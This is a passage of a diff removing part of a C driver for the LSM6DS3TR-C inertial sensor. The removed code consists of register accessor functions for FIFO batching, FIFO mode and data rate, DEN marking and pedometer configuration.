(uint8_t*)&fifo_ctrl4, 1); - - switch(fifo_ctrl4.dec_ds3_fifo) { - case LSM6DS3TR_C_FIFO_DS3_DISABLE: - *val = LSM6DS3TR_C_FIFO_DS3_DISABLE; - break; - - case LSM6DS3TR_C_FIFO_DS3_NO_DEC: - *val = LSM6DS3TR_C_FIFO_DS3_NO_DEC; - break; - - case LSM6DS3TR_C_FIFO_DS3_DEC_2: - *val = LSM6DS3TR_C_FIFO_DS3_DEC_2; - break; - - case LSM6DS3TR_C_FIFO_DS3_DEC_3: - *val = LSM6DS3TR_C_FIFO_DS3_DEC_3; - break; - - case LSM6DS3TR_C_FIFO_DS3_DEC_4: - *val = LSM6DS3TR_C_FIFO_DS3_DEC_4; - break; - - case LSM6DS3TR_C_FIFO_DS3_DEC_8: - *val = LSM6DS3TR_C_FIFO_DS3_DEC_8; - break; - - case LSM6DS3TR_C_FIFO_DS3_DEC_16: - *val = LSM6DS3TR_C_FIFO_DS3_DEC_16; - break; - - case LSM6DS3TR_C_FIFO_DS3_DEC_32: - *val = LSM6DS3TR_C_FIFO_DS3_DEC_32; - break; - - default: - *val = LSM6DS3TR_C_FIFO_DS3_DEC_ND; - break; - } - - return ret; -} - -/** - * @brief Selects Batching Data Rate (writing frequency in FIFO) - * for fourth data set.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of dec_ds4_fifo in reg FIFO_CTRL4 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_dataset_4_batch_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_ds4_fifo_t val) { - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - - if(ret == 0) { - fifo_ctrl4.dec_ds4_fifo = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - } - - return ret; -} - -/** - * @brief Selects Batching Data Rate (writing frequency in FIFO) for - * fourth data set.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of dec_ds4_fifo in reg FIFO_CTRL4 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_dataset_4_batch_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_dec_ds4_fifo_t* val) { - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - - switch(fifo_ctrl4.dec_ds4_fifo) { - case LSM6DS3TR_C_FIFO_DS4_DISABLE: - *val = LSM6DS3TR_C_FIFO_DS4_DISABLE; - break; - - case LSM6DS3TR_C_FIFO_DS4_NO_DEC: - *val = LSM6DS3TR_C_FIFO_DS4_NO_DEC; - break; - - case LSM6DS3TR_C_FIFO_DS4_DEC_2: - *val = LSM6DS3TR_C_FIFO_DS4_DEC_2; - break; - - case LSM6DS3TR_C_FIFO_DS4_DEC_3: - *val = LSM6DS3TR_C_FIFO_DS4_DEC_3; - break; - - case LSM6DS3TR_C_FIFO_DS4_DEC_4: - *val = LSM6DS3TR_C_FIFO_DS4_DEC_4; - break; - - case LSM6DS3TR_C_FIFO_DS4_DEC_8: - *val = LSM6DS3TR_C_FIFO_DS4_DEC_8; - break; - - case LSM6DS3TR_C_FIFO_DS4_DEC_16: - *val = LSM6DS3TR_C_FIFO_DS4_DEC_16; - break; - - case LSM6DS3TR_C_FIFO_DS4_DEC_32: - *val = LSM6DS3TR_C_FIFO_DS4_DEC_32; - break; - - default: - *val = LSM6DS3TR_C_FIFO_DS4_DEC_ND; - break; - } - - return ret; -} - -/** - * @brief 8-bit data storage in FIFO.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of only_high_data in reg FIFO_CTRL4 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_xl_gy_8bit_format_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - - if(ret == 0) { - fifo_ctrl4.only_high_data = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - } - - return ret; -} - -/** - * @brief 8-bit data storage in FIFO.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of only_high_data in reg FIFO_CTRL4 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_xl_gy_8bit_format_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - *val = fifo_ctrl4.only_high_data; - - return ret; -} - -/** - * @brief Sensing chain FIFO stop values memorization at threshold - * level.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of stop_on_fth in reg FIFO_CTRL4 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_stop_on_wtm_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - - if(ret == 0) { - fifo_ctrl4.stop_on_fth = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - } - - return ret; -} - -/** - * @brief Sensing chain FIFO stop values memorization at threshold - * level.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of stop_on_fth in reg FIFO_CTRL4 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_stop_on_wtm_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL4, (uint8_t*)&fifo_ctrl4, 1); - *val = fifo_ctrl4.stop_on_fth; - - return ret; -} - -/** - * @brief FIFO mode selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of fifo_mode in reg FIFO_CTRL5 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_fifo_mode_t val) { - lsm6ds3tr_c_fifo_ctrl5_t fifo_ctrl5; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL5, (uint8_t*)&fifo_ctrl5, 1); - - if(ret == 0) { - fifo_ctrl5.fifo_mode = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL5, (uint8_t*)&fifo_ctrl5, 1); - } - - return ret; -} - -/** - * @brief FIFO mode selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of fifo_mode in reg FIFO_CTRL5 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_fifo_mode_t* val) { - lsm6ds3tr_c_fifo_ctrl5_t fifo_ctrl5; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL5, (uint8_t*)&fifo_ctrl5, 1); - - switch(fifo_ctrl5.fifo_mode) { - case LSM6DS3TR_C_BYPASS_MODE: - *val = LSM6DS3TR_C_BYPASS_MODE; - break; - - case LSM6DS3TR_C_FIFO_MODE: - *val = LSM6DS3TR_C_FIFO_MODE; - break; - - case LSM6DS3TR_C_STREAM_TO_FIFO_MODE: - *val = LSM6DS3TR_C_STREAM_TO_FIFO_MODE; - break; - - case LSM6DS3TR_C_BYPASS_TO_STREAM_MODE: - *val = LSM6DS3TR_C_BYPASS_TO_STREAM_MODE; - break; - - case LSM6DS3TR_C_STREAM_MODE: - *val = LSM6DS3TR_C_STREAM_MODE; - break; - - default: - *val = LSM6DS3TR_C_FIFO_MODE_ND; - break; - } - - return ret; -} - -/** - * @brief FIFO ODR selection, setting FIFO_MODE also.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of odr_fifo in reg FIFO_CTRL5 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_data_rate_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_fifo_t val) { - lsm6ds3tr_c_fifo_ctrl5_t fifo_ctrl5; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL5, (uint8_t*)&fifo_ctrl5, 1); - - if(ret == 0) { - fifo_ctrl5.odr_fifo = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_FIFO_CTRL5, (uint8_t*)&fifo_ctrl5, 1); - } - - return ret; -} - -/** - * @brief FIFO ODR selection, setting FIFO_MODE also.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of odr_fifo in reg FIFO_CTRL5 - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_fifo_data_rate_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_fifo_t* val) { - lsm6ds3tr_c_fifo_ctrl5_t fifo_ctrl5; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_FIFO_CTRL5, (uint8_t*)&fifo_ctrl5, 1); - - switch(fifo_ctrl5.odr_fifo) { - case LSM6DS3TR_C_FIFO_DISABLE: - *val = LSM6DS3TR_C_FIFO_DISABLE; - break; - - case LSM6DS3TR_C_FIFO_12Hz5: - *val = LSM6DS3TR_C_FIFO_12Hz5; - break; - - case LSM6DS3TR_C_FIFO_26Hz: - *val = LSM6DS3TR_C_FIFO_26Hz; - break; - - case LSM6DS3TR_C_FIFO_52Hz: - *val = LSM6DS3TR_C_FIFO_52Hz; - break; - - case LSM6DS3TR_C_FIFO_104Hz: - *val = LSM6DS3TR_C_FIFO_104Hz; - break; - - case LSM6DS3TR_C_FIFO_208Hz: - *val = LSM6DS3TR_C_FIFO_208Hz; - break; - - case LSM6DS3TR_C_FIFO_416Hz: - *val = LSM6DS3TR_C_FIFO_416Hz; - break; - - case LSM6DS3TR_C_FIFO_833Hz: - *val = LSM6DS3TR_C_FIFO_833Hz; - break; - - case LSM6DS3TR_C_FIFO_1k66Hz: - *val = LSM6DS3TR_C_FIFO_1k66Hz; - break; - - case LSM6DS3TR_C_FIFO_3k33Hz: - *val = LSM6DS3TR_C_FIFO_3k33Hz; - break; - - case LSM6DS3TR_C_FIFO_6k66Hz: - *val = LSM6DS3TR_C_FIFO_6k66Hz; - break; - - default: - *val = LSM6DS3TR_C_FIFO_RATE_ND; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_DEN_functionality - * @brief This section groups all the functions concerning DEN - * functionality. - * @{ - * - */ - -/** - * @brief DEN active level configuration.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_lh in reg CTRL5_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_polarity_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_lh_t val) { - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - - if(ret == 0) { - ctrl5_c.den_lh = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - } - - return ret; -} - -/** - * @brief DEN active level configuration.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of den_lh in reg CTRL5_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_polarity_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_lh_t* val) { - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - - switch(ctrl5_c.den_lh) { - case LSM6DS3TR_C_DEN_ACT_LOW: - *val = LSM6DS3TR_C_DEN_ACT_LOW; - break; - - case LSM6DS3TR_C_DEN_ACT_HIGH: - *val = LSM6DS3TR_C_DEN_ACT_HIGH; - break; - - default: - *val = LSM6DS3TR_C_DEN_POL_ND; - break; - } - - return ret; -} - -/** - * @brief DEN functionality marking mode[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_mode in reg CTRL6_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_mode_t val) { - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - if(ret == 0) { - ctrl6_c.den_mode = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - } - - return ret; -} - -/** - * @brief DEN functionality marking mode[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_mode in reg CTRL6_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_mode_t* val) { - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - switch(ctrl6_c.den_mode) { - case LSM6DS3TR_C_DEN_DISABLE: - *val = LSM6DS3TR_C_DEN_DISABLE; - break; - - case LSM6DS3TR_C_LEVEL_LETCHED: - *val = LSM6DS3TR_C_LEVEL_LETCHED; - break; - - case LSM6DS3TR_C_LEVEL_TRIGGER: - *val = LSM6DS3TR_C_LEVEL_TRIGGER; - break; - - case LSM6DS3TR_C_EDGE_TRIGGER: - *val = LSM6DS3TR_C_EDGE_TRIGGER; - break; - - default: - *val = LSM6DS3TR_C_DEN_MODE_ND; - break; - } - - return ret; -} - -/** - * @brief Extend DEN functionality to accelerometer sensor.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_xl_g in reg CTRL9_XL - * and den_xl_en in CTRL4_C. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_enable_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_xl_en_t val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - - if(ret == 0) { - ctrl9_xl.den_xl_g = (uint8_t)val & 0x01U; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - ctrl4_c.den_xl_en = (uint8_t)val & 0x02U; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - } - } - } - - return ret; -} - -/** - * @brief Extend DEN functionality to accelerometer sensor. [get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of den_xl_g in reg CTRL9_XL - * and den_xl_en in CTRL4_C. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_enable_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_den_xl_en_t* val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - - switch((ctrl4_c.den_xl_en << 1) + ctrl9_xl.den_xl_g) { - case LSM6DS3TR_C_STAMP_IN_GY_DATA: - *val = LSM6DS3TR_C_STAMP_IN_GY_DATA; - break; - - case LSM6DS3TR_C_STAMP_IN_XL_DATA: - *val = LSM6DS3TR_C_STAMP_IN_XL_DATA; - break; - - case LSM6DS3TR_C_STAMP_IN_GY_XL_DATA: - *val = LSM6DS3TR_C_STAMP_IN_GY_XL_DATA; - break; - - default: - *val = LSM6DS3TR_C_DEN_STAMP_ND; - break; - } - } - - return ret; -} - -/** - * @brief DEN value stored in LSB of Z-axis.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_z in reg CTRL9_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_mark_axis_z_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - - if(ret == 0) { - ctrl9_xl.den_z = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - } - - return ret; -} - -/** - * @brief DEN value stored in LSB of Z-axis.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_z in reg CTRL9_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_mark_axis_z_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - *val = ctrl9_xl.den_z; - - return ret; -} - -/** - * @brief DEN value stored in LSB of Y-axis.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_y in reg CTRL9_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_mark_axis_y_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - - if(ret == 0) { - ctrl9_xl.den_y = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - } - - return ret; -} - -/** - * @brief DEN value stored in LSB of Y-axis.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_y in reg CTRL9_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_mark_axis_y_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - *val = ctrl9_xl.den_y; - - return ret; -} - -/** - * @brief DEN value stored in LSB of X-axis.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_x in reg CTRL9_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_mark_axis_x_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - - if(ret == 0) { - ctrl9_xl.den_x = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - } - - return ret; -} - -/** - * @brief DEN value stored in LSB of X-axis.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of den_x in reg CTRL9_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_den_mark_axis_x_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL9_XL, (uint8_t*)&ctrl9_xl, 1); - *val = ctrl9_xl.den_x; - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_Pedometer - * @brief This section groups all the functions that manage pedometer. - * @{ - * - */ - -/** - * @brief Reset pedometer step counter.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pedo_rst_step in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_step_reset_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - - if(ret == 0) { - ctrl10_c.pedo_rst_step = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - } - - return ret; -} - -/** - * @brief Reset pedometer step counter.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pedo_rst_step in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_step_reset_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - *val = ctrl10_c.pedo_rst_step; - - return ret; -} - -/** - * @brief Enable pedometer algorithm.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pedo_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_sens_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - - if(ret == 0) { - ctrl10_c.pedo_en = val; - - if(val != 0x00U) { - ctrl10_c.func_en = val; - } - - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - } - - return ret; -} - -/** - * @brief pedo_sens: Enable pedometer algorithm.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pedo_en in reg CTRL10_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_sens_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL10_C, (uint8_t*)&ctrl10_c, 1); - *val = ctrl10_c.pedo_en; - - return ret; -} - -/** - * @brief Minimum threshold to detect a peak. Default is 10h.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of ths_min in reg - * CONFIG_PEDO_THS_MIN - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_threshold_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_config_pedo_ths_min_t config_pedo_ths_min; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_CONFIG_PEDO_THS_MIN, (uint8_t*)&config_pedo_ths_min, 1); - - if(ret == 0) { - config_pedo_ths_min.ths_min = val; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_CONFIG_PEDO_THS_MIN, (uint8_t*)&config_pedo_ths_min, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Minimum threshold to detect a peak. Default is 10h.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of ths_min in reg CONFIG_PEDO_THS_MIN - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_threshold_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_config_pedo_ths_min_t config_pedo_ths_min; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_CONFIG_PEDO_THS_MIN, (uint8_t*)&config_pedo_ths_min, 1); - - if(ret == 0) { - *val = config_pedo_ths_min.ths_min; - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief pedo_full_scale: Pedometer data range.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of pedo_fs in - * reg CONFIG_PEDO_THS_MIN - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_full_scale_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_pedo_fs_t val) { - lsm6ds3tr_c_config_pedo_ths_min_t config_pedo_ths_min; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_CONFIG_PEDO_THS_MIN, (uint8_t*)&config_pedo_ths_min, 1); - - if(ret == 0) { - config_pedo_ths_min.pedo_fs = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg( - ctx, LSM6DS3TR_C_CONFIG_PEDO_THS_MIN, (uint8_t*)&config_pedo_ths_min, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Pedometer data range.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of pedo_fs in - * reg CONFIG_PEDO_THS_MIN - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_full_scale_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_pedo_fs_t* val) { - lsm6ds3tr_c_config_pedo_ths_min_t config_pedo_ths_min; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg( - ctx, LSM6DS3TR_C_CONFIG_PEDO_THS_MIN, (uint8_t*)&config_pedo_ths_min, 1); - - if(ret == 0) { - switch(config_pedo_ths_min.pedo_fs) { - case LSM6DS3TR_C_PEDO_AT_2g: - *val = LSM6DS3TR_C_PEDO_AT_2g; - break; - - case LSM6DS3TR_C_PEDO_AT_4g: - *val = LSM6DS3TR_C_PEDO_AT_4g; - break; - - default: - *val = LSM6DS3TR_C_PEDO_FS_ND; - break; - } - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - - return ret; -} - -/** - * @brief Pedometer debounce configuration register (r/w).[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of deb_step in reg PEDO_DEB_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pedo_debounce_steps_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_pedo_deb_reg_t pedo_deb_reg; - int32_t ret; - - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_BANK_A); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_PEDO_DEB_REG, (uint8_t*)&pedo_deb_reg, 1); - - if(ret == 0) { - pedo_deb_reg.deb_step = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_PEDO_DEB_REG, (uint8_t*)&pedo_deb_reg, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_mem_bank_set(ctx, LSM6DS3TR_C_USER_BANK); - } - } - } - - return ret; -} - -/** - * @brief Pedometer debounce configuration register (r/w).[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of deb_step in reg PEDO_DEB_REG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ 